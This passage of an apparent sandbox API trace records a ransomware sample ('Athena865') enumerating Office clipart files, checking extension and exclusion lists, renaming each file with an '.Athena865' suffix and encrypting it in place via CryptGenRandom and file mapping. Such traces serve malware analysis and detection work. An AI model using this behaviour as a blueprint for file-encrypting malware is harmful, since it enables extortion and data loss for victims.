lpString2="sqlite3") returned -1 [0135.806] lstrlenW (lpString="sqlitedb") returned 8 [0135.806] lstrcmpiW (lpString1="750_.GIF", lpString2="sqlitedb") returned -1 [0135.806] lstrlenW (lpString="xml") returned 3 [0135.807] lstrcmpiW (lpString1="GIF", lpString2="xml") returned -1 [0135.807] lstrlenW (lpString="$er") returned 3 [0135.807] lstrcmpiW (lpString1="GIF", lpString2="$er") returned 1 [0135.807] lstrlenW (lpString="4dd") returned 3 [0135.807] lstrcmpiW (lpString1="GIF", lpString2="4dd") returned 1 [0135.807] lstrlenW (lpString="4dl") returned 3 [0135.807] lstrcmpiW (lpString1="GIF", lpString2="4dl") returned 1 [0135.807] lstrlenW (lpString="^^^") returned 3 [0135.807] lstrcmpiW (lpString1="GIF", lpString2="^^^") returned 1 [0135.807] lstrlenW (lpString="abs") returned 3 [0135.807] lstrcmpiW (lpString1="GIF", lpString2="abs") returned 1 [0135.807] lstrlenW (lpString="abx") returned 3 [0135.807] lstrcmpiW (lpString1="GIF", lpString2="abx") returned 1 [0135.807] lstrlenW (lpString="accdb") returned 5 [0135.807] lstrcmpiW (lpString1="_.GIF", lpString2="accdb") returned -1 [0135.807] lstrlenW (lpString="accdc") returned 5 [0135.807] lstrcmpiW (lpString1="_.GIF", lpString2="accdc") returned -1 [0135.807] lstrlenW (lpString="accde") returned 5 [0135.807] lstrcmpiW (lpString1="_.GIF", lpString2="accde") returned -1 [0135.807] lstrlenW (lpString="accdr") returned 5 [0135.807] lstrcmpiW (lpString1="_.GIF", lpString2="accdr") returned -1 [0135.807] lstrlenW (lpString="accdt") returned 5 [0135.807] lstrcmpiW (lpString1="_.GIF", lpString2="accdt") returned -1 [0135.807] lstrlenW (lpString="accdw") returned 5 [0135.807] lstrcmpiW (lpString1="_.GIF", lpString2="accdw") returned -1 [0135.807] lstrlenW (lpString="accft") returned 5 [0135.807] lstrcmpiW (lpString1="_.GIF", lpString2="accft") returned -1 [0135.808] lstrlenW (lpString="adb") returned 3 [0135.808] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0135.808] lstrlenW (lpString="adb") returned 3 [0135.808] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0135.808] lstrlenW (lpString="ade") returned 3 [0135.808] lstrcmpiW (lpString1="GIF", lpString2="ade") returned 1 [0135.808] lstrlenW (lpString="adf") returned 3 [0135.808] lstrcmpiW (lpString1="GIF", lpString2="adf") returned 1 [0135.808] lstrlenW (lpString="adn") returned 3 [0135.808] lstrcmpiW (lpString1="GIF", lpString2="adn") returned 1 [0135.808] lstrlenW (lpString="adp") returned 3 [0135.808] lstrcmpiW (lpString1="GIF", lpString2="adp") returned 1 [0135.808] lstrlenW (lpString="alf") returned 3 [0135.808] lstrcmpiW (lpString1="GIF", lpString2="alf") returned 1 [0135.808] lstrlenW (lpString="ask") returned 3 [0135.808] lstrcmpiW (lpString1="GIF", lpString2="ask") returned 1 [0135.808] lstrlenW (lpString="btr") returned 3 [0135.808] lstrcmpiW (lpString1="GIF", lpString2="btr") returned 1 [0135.808] lstrlenW (lpString="cat") returned 3 [0135.808] lstrcmpiW (lpString1="GIF", lpString2="cat") returned 1 [0135.808] lstrlenW (lpString="cdb") returned 3 [0135.808] lstrcmpiW (lpString1="GIF", lpString2="cdb") returned 1 [0135.808] lstrlenW (lpString="ckp") returned 3 [0135.808] lstrcmpiW (lpString1="GIF", lpString2="ckp") returned 1 [0135.808] lstrlenW (lpString="cma") returned 3 [0135.808] lstrcmpiW (lpString1="GIF", lpString2="cma") returned 1 [0135.809] lstrlenW (lpString="cpd") returned 3 [0135.809] lstrcmpiW (lpString1="GIF", lpString2="cpd") returned 1 [0135.809] lstrlenW (lpString="dacpac") returned 6 [0135.809] lstrcmpiW (lpString1="0_.GIF", lpString2="dacpac") returned -1 [0135.809] lstrlenW (lpString="dad") returned 3 [0135.809] lstrcmpiW (lpString1="GIF", lpString2="dad") returned 1 [0135.809] lstrlenW (lpString="dadiagrams") returned 10 [0135.809] lstrcmpiW (lpString1="01750_.GIF", lpString2="dadiagrams") returned -1 [0135.809] lstrlenW (lpString="daschema") returned 8 [0135.809] lstrcmpiW (lpString1="750_.GIF", lpString2="daschema") returned -1 [0135.809] lstrlenW (lpString="db-journal") returned 10 [0135.809] lstrcmpiW (lpString1="01750_.GIF", lpString2="db-journal") returned -1 [0135.809] lstrlenW (lpString="db-shm") returned 6 [0135.809] lstrcmpiW (lpString1="0_.GIF", lpString2="db-shm") returned -1 [0135.809] lstrlenW (lpString="db-wal") returned 6 [0135.809] lstrcmpiW (lpString1="0_.GIF", lpString2="db-wal") returned -1 [0135.809] lstrlenW (lpString="dbc") returned 3 [0135.809] lstrcmpiW (lpString1="GIF", lpString2="dbc") returned 1 [0135.809] lstrlenW (lpString="dbs") returned 3 [0135.809] lstrcmpiW (lpString1="GIF", lpString2="dbs") returned 1 [0135.809] lstrlenW (lpString="dbt") returned 3 [0135.809] lstrcmpiW (lpString1="GIF", lpString2="dbt") returned 1 [0135.809] lstrlenW (lpString="dbv") returned 3 [0135.809] lstrcmpiW (lpString1="GIF", lpString2="dbv") returned 1 [0135.809] lstrlenW (lpString="dbx") returned 3 [0135.809] lstrcmpiW (lpString1="GIF", lpString2="dbx") returned 1 [0135.810] lstrlenW (lpString="dcb") returned 3 [0135.810] lstrcmpiW (lpString1="GIF", lpString2="dcb") returned 1 [0135.810] lstrcmpiW (lpString1="GIF", lpString2="dct") returned 1 [0135.810] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF.Athena865") returned 73 [0135.810] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif.athena865"), dwFlags=0x1) returned 1 [0135.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.812] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1172) returned 1 [0135.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.812] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0135.813] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0135.813] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.813] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7a0, lpName=0x0) returned 0x154 [0135.815] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7a0) returned 0x100000 [0135.816] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0135.817] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0135.817] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0135.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0135.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0135.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0135.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0135.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0135.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0135.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0135.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0135.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0135.817] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0135.818] CloseHandle (hObject=0x154) returned 1 [0135.818] CloseHandle (hObject=0x17c) returned 1 [0135.818] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0135.818] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0135.818] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0135.818] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cebf400, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cebf400, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WB01751_.GIF", cAlternateFileName="")) returned 1 [0135.818] lstrcmpiW (lpString1="WB01751_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0135.818] lstrcmpiW (lpString1="WB01751_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0135.818] lstrcmpiW (lpString1="WB01751_.GIF", lpString2=".") returned 1 [0135.818] lstrcmpiW (lpString1="WB01751_.GIF", lpString2="..") returned 1 [0135.818] lstrcmpiW (lpString1="WB01751_.GIF", lpString2="windows") returned -1 [0135.818] lstrcmpiW (lpString1="WB01751_.GIF", lpString2="bootmgr") returned 1 [0135.818] lstrcmpiW (lpString1="WB01751_.GIF", lpString2="temp") returned 1 [0135.818] lstrcmpiW (lpString1="WB01751_.GIF", lpString2="pagefile.sys") returned 1 [0135.818] lstrcmpiW (lpString1="WB01751_.GIF", lpString2="boot") returned 1 [0135.818] lstrcmpiW (lpString1="WB01751_.GIF", lpString2="ids.txt") returned 1 [0135.818] lstrcmpiW (lpString1="WB01751_.GIF", lpString2="ntuser.dat") returned 1 [0135.818] lstrcmpiW (lpString1="WB01751_.GIF", lpString2="perflogs") returned 1 [0135.818] lstrcmpiW (lpString1="WB01751_.GIF", lpString2="MSBuild") returned 1 [0135.819] lstrlenW (lpString="WB01751_.GIF") returned 12 [0135.819] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01751_.GIF" | out: lpString1="WB01751_.GIF") returned="WB01751_.GIF" [0135.819] lstrlenW (lpString="WB01751_.GIF") returned 12 [0135.819] lstrlenW (lpString="Athena865") returned 9 [0135.819] lstrcmpiW (lpString1="1751_.GIF", lpString2="Athena865") returned -1 [0135.819] lstrlenW (lpString=".dll") returned 4 [0135.819] lstrcmpiW (lpString1="WB01751_.GIF", lpString2=".dll") returned 1 [0135.819] lstrlenW (lpString=".lnk") returned 4 [0135.819] lstrcmpiW (lpString1="WB01751_.GIF", lpString2=".lnk") returned 1 [0135.819] lstrlenW (lpString=".ini") returned 4 [0135.819] lstrcmpiW (lpString1="WB01751_.GIF", lpString2=".ini") returned 1 [0135.819] lstrlenW (lpString=".sys") returned 4 [0135.819] lstrcmpiW (lpString1="WB01751_.GIF", lpString2=".sys") returned 1 [0135.819] lstrlenW (lpString="WB01751_.GIF") returned 12 [0135.819] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF.Athena865") returned 73 [0135.819] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif.athena865"), dwFlags=0x1) returned 1 [0135.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.821] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=953) returned 1 [0135.821] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.821] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.821] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.821] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0135.822] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0135.822] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.822] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c0, lpName=0x0) returned 0x154 [0135.826] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c0) returned 0x100000 [0135.827] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0135.830] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0135.830] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0135.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0135.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0135.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0135.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0135.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0135.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0135.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0135.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0135.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0135.831] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0135.831] CloseHandle (hObject=0x154) returned 1 [0135.831] CloseHandle (hObject=0x17c) returned 1 [0135.832] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0135.832] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0135.832] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0135.832] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3fc5100, ftCreationTime.dwHighDateTime=0x1bd4e61, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3fc5100, ftLastWriteTime.dwHighDateTime=0x1bd4e61, nFileSizeHigh=0x0, nFileSizeLow=0x304, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WB01770_.GIF", cAlternateFileName="")) returned 1 [0135.832] lstrcmpiW (lpString1="WB01770_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0135.832] lstrcmpiW (lpString1="WB01770_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0135.832] lstrcmpiW (lpString1="WB01770_.GIF", lpString2=".") returned 1 [0135.832] lstrcmpiW (lpString1="WB01770_.GIF", lpString2="..") returned 1 [0135.832] lstrcmpiW (lpString1="WB01770_.GIF", lpString2="windows") returned -1 [0135.832] lstrcmpiW (lpString1="WB01770_.GIF", lpString2="bootmgr") returned 1 [0135.832] lstrcmpiW (lpString1="WB01770_.GIF", lpString2="temp") returned 1 [0135.832] lstrcmpiW (lpString1="WB01770_.GIF", lpString2="pagefile.sys") returned 1 [0135.832] lstrcmpiW (lpString1="WB01770_.GIF", lpString2="boot") returned 1 [0135.832] lstrcmpiW (lpString1="WB01770_.GIF", lpString2="ids.txt") returned 1 [0135.832] lstrcmpiW (lpString1="WB01770_.GIF", lpString2="ntuser.dat") returned 1 [0135.832] lstrcmpiW (lpString1="WB01770_.GIF", lpString2="perflogs") returned 1 [0135.832] lstrcmpiW (lpString1="WB01770_.GIF", lpString2="MSBuild") returned 1 [0135.832] lstrlenW (lpString="WB01770_.GIF") returned 12 [0135.832] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01770_.GIF" | out: lpString1="WB01770_.GIF") returned="WB01770_.GIF" [0135.832] lstrlenW (lpString="WB01770_.GIF") returned 12 [0135.833] lstrlenW (lpString="Athena865") returned 9 [0135.833] lstrcmpiW (lpString1="1770_.GIF", lpString2="Athena865") returned -1 [0135.833] lstrlenW (lpString=".dll") returned 4 [0135.833] lstrcmpiW (lpString1="WB01770_.GIF", lpString2=".dll") returned 1 [0135.833] lstrlenW (lpString=".lnk") returned 4 [0135.833] lstrcmpiW (lpString1="WB01770_.GIF", lpString2=".lnk") returned 1 [0135.833] lstrlenW (lpString=".ini") returned 4 [0135.833] lstrcmpiW (lpString1="WB01770_.GIF", lpString2=".ini") returned 1 [0135.833] lstrlenW (lpString=".sys") returned 4 [0135.833] lstrcmpiW (lpString1="WB01770_.GIF", lpString2=".sys") returned 1 [0135.833] lstrlenW (lpString="WB01770_.GIF") returned 12 [0135.833] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF.Athena865") returned 73 [0135.833] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif.athena865"), dwFlags=0x1) returned 1 [0135.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.835] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=772) returned 1 [0135.835] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.835] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.836] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.836] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0135.836] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0135.836] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.837] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x610, lpName=0x0) returned 0x154 [0135.839] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x610) returned 0x100000 [0135.839] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0135.840] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0135.840] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0135.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0135.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0135.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0135.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0135.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0135.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0135.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0135.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0135.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0135.841] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0135.841] CloseHandle (hObject=0x154) returned 1 [0135.841] CloseHandle (hObject=0x17c) returned 1 [0135.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0135.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0135.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0135.842] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa42a6f00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa42a6f00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WB01838_.GIF", cAlternateFileName="")) returned 1 [0135.842] lstrcmpiW (lpString1="WB01838_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0135.842] lstrcmpiW (lpString1="WB01838_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0135.842] lstrcmpiW (lpString1="WB01838_.GIF", lpString2=".") returned 1 [0135.842] lstrcmpiW (lpString1="WB01838_.GIF", lpString2="..") returned 1 [0135.842] lstrcmpiW (lpString1="WB01838_.GIF", lpString2="windows") returned -1 [0135.842] lstrcmpiW (lpString1="WB01838_.GIF", lpString2="bootmgr") returned 1 [0135.842] lstrcmpiW (lpString1="WB01838_.GIF", lpString2="temp") returned 1 [0135.842] lstrcmpiW (lpString1="WB01838_.GIF", lpString2="pagefile.sys") returned 1 [0135.842] lstrcmpiW (lpString1="WB01838_.GIF", lpString2="boot") returned 1 [0135.842] lstrcmpiW (lpString1="WB01838_.GIF", lpString2="ids.txt") returned 1 [0135.842] lstrcmpiW (lpString1="WB01838_.GIF", lpString2="ntuser.dat") returned 1 [0135.842] lstrcmpiW (lpString1="WB01838_.GIF", lpString2="perflogs") returned 1 [0135.842] lstrcmpiW (lpString1="WB01838_.GIF", lpString2="MSBuild") returned 1 [0135.842] lstrlenW (lpString="WB01838_.GIF") returned 12 [0135.842] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01838_.GIF" | out: lpString1="WB01838_.GIF") returned="WB01838_.GIF" [0135.842] lstrlenW (lpString="WB01838_.GIF") returned 12 [0135.842] lstrlenW (lpString="Athena865") returned 9 [0135.842] lstrcmpiW (lpString1="1838_.GIF", lpString2="Athena865") returned -1 [0135.842] lstrlenW (lpString=".dll") returned 4 [0135.842] lstrcmpiW (lpString1="WB01838_.GIF", lpString2=".dll") returned 1 [0135.842] lstrlenW (lpString=".lnk") returned 4 [0135.842] lstrcmpiW (lpString1="WB01838_.GIF", lpString2=".lnk") returned 1 [0135.843] lstrlenW (lpString=".ini") returned 4 [0135.843] lstrcmpiW (lpString1="WB01838_.GIF", lpString2=".ini") returned 1 [0135.843] lstrlenW (lpString=".sys") returned 4 [0135.843] lstrcmpiW (lpString1="WB01838_.GIF", lpString2=".sys") returned 1 [0135.843] lstrlenW (lpString="WB01838_.GIF") returned 12 [0135.843] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF.Athena865") returned 73 [0135.843] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif.athena865"), dwFlags=0x1) returned 1 [0135.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.844] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3652) returned 1 [0135.844] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.845] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.845] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.845] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0135.845] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: 